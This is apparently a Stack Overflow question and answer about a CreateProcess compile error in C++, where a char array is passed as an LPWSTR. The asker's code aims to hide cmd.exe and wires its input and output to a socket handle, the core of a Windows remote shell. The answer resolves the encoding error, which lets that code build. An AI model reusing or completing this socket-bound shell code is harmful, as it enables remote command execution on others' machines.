cyb3rpunk
cyb3rpunk

Reputation: 61

Convert argument to LPWSTR CreateProcess

I am trying to perform some actions using cmd.exe but I want to hide cmd.exe. When I tried to use full path instead of cmd.exe I always get this error:

char Process[] = "C:\\WINDOWS\\System32\\cmd.exe";
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;
                memset(&sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)mySocket;
                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
                WaitForSingleObject(pinfo.hProcess, INFINITE);
                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

I always get:

CreateProcessW(LPCWSTR,LPWSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION)': cannot convert argument 2 from 'char [28]' to 'LPWSTR' ConsoleApplication1

Upvotes: 0

Views: 2164

Answers (1)

SolidMercury
SolidMercury

Reputation: 1033

You are passing a narrow character array instead of a wide character array.

Change your project's character encoding setting to MultiByte instead of Unicode so that CreateProcess uses CreateProcessA instead of CreateProcessW.

Or, use wchar_t (or WCHAR, which is a typedef available in Windows for wchar_t) instead of char:

wchar_t Process[] = L"C:\\WINDOWS\\System32\\cmd.exe";

Or, you can change the code to use CreateProcessA manually:

char Process[] = "C:\\WINDOWS\\System32\\cmd.exe";
...
CreateProcessA(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
...

Upvotes: 4

Related Questions